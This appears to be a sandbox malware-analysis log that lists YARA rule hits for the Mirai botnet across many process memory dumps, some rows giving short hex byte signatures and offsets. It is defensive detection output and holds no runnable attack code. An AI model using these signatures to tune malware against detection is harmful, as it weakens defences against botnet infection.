6932.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6932.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6932.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6932.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6932.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6932.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6679.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6679.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6679.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6679.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6679.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6679.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7057.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7057.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7057.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7057.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7057.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7057.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6478.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6478.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6478.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6478.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6478.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6478.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6808.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6808.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6808.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6808.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6808.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6808.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7142.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6533.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6533.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6533.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6533.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6533.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6533.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7286.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7286.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7286.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7286.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7286.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7286.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7196.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6361.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6361.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6361.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6361.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6361.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6361.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6709.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6709.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6709.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6709.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6709.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6709.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7200.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7200.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7200.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7200.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7200.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7200.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6292.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6292.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6292.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6292.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6292.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6292.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6320.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6320.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6320.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6320.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6320.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6320.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6243.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6243.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6243.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6243.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6243.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6243.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6779.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6779.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6779.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6779.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6779.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6779.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7378.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7378.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7378.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7378.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7378.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7378.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6566.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6566.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6566.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6566.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6566.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6566.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7168.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7168.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7168.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7168.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7168.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7168.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6583.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6583.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6583.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6583.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6583.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6583.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6642.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6642.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6642.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6642.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6642.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6642.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6912.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7396.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7396.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7396.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7403.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7396.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7396.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7396.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7403.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7403.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7403.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7403.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7403.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7245.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7245.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7245.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7245.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7245.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7245.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7410.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7410.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7410.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7410.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7410.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7410.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6626.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6626.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6626.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6626.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6626.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6626.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6294.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6294.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6294.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6294.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6294.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6294.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6909.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6768.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6550.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6550.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6550.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6550.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6550.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6550.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7121.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7121.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7121.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7121.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7121.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7121.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6260.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6260.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6260.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6260.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
